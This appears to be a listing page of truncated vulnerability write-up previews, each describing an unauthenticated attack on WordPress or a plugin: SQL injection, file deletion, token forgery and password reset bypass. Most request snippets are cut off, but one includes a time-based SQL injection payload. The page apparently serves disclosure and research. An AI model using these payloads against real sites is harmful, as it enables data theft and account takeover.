## The Exploit An unauthenticated attacker can perform SQL injection via the `author__not_in` parameter in any REST API endpoint that passes user input to `WP_Query`. The following curl request demonstrates the injection against the default `/wp/v2/posts` endpoint. ```bash curl...
## The Exploit An unauthenticated attacker can extract arbitrary data from the WordPress database by injecting SQL into the `search` parameter of the Amelia event booking API endpoint. ```http POST /wp-json/amelia/v1/events HTTP/1.1 Host:...
Read article →## The Exploit An unauthenticated attacker can craft arbitrary POST parameters with SQL injection payloads in the parameter *names* (not values), bypassing the blacklist-based validation and achieving blind time-based SQL injection via the...
Read article →## The Exploit An unauthenticated attacker can delete arbitrary files on the server by uploading a crafted email form submission that includes a malicious attachment path. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.local ...
Read article →## The Exploit Unauthenticated attacker, no authentication required. ```http GET /wp-admin/admin-ajax.php?action=um_member_directory_search&search=test'+AND+SLEEP(5)-- HTTP/1.1 Host: target.wordpress.local User-Agent: Mozilla/5.0 ``` The...
Read article →## The Exploit An unauthenticated attacker can inject arbitrary SQL into coupon lookups by appending SQL metacharacters to the `coupon_code` parameter. ```http GET /wp-admin/admin-ajax.php?action=tutor_get_coupon_details&coupon_code=VALID...
Read article →## The Exploit An unauthenticated attacker with access to a page containing the Ninja Forms Submissions Table block can generate a valid bearer token for any form ID in the WordPress instance, then use that token to read form definitions a...
Read article →## The Exploit An unauthenticated attacker can inject time-based SQL queries via the `search` POST parameter in the Member Directory widget to exfiltrate database contents without authentication. ```http POST /wp-admin/admin-ajax.php HTTP...
Read article →## The Exploit Unauthenticated attacker. Requires a publicly accessible Forminator form with File Upload field, Save and Continue enabled, and file attachments configured in email notifications. ```http POST /wp-admin/admin-ajax.php HTTP/...
Read article →## The Exploit An unauthenticated attacker can reset any non-administrator user's password without possession of a valid reset token. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.wordpress.local Content-Type: application/x-...
Read article →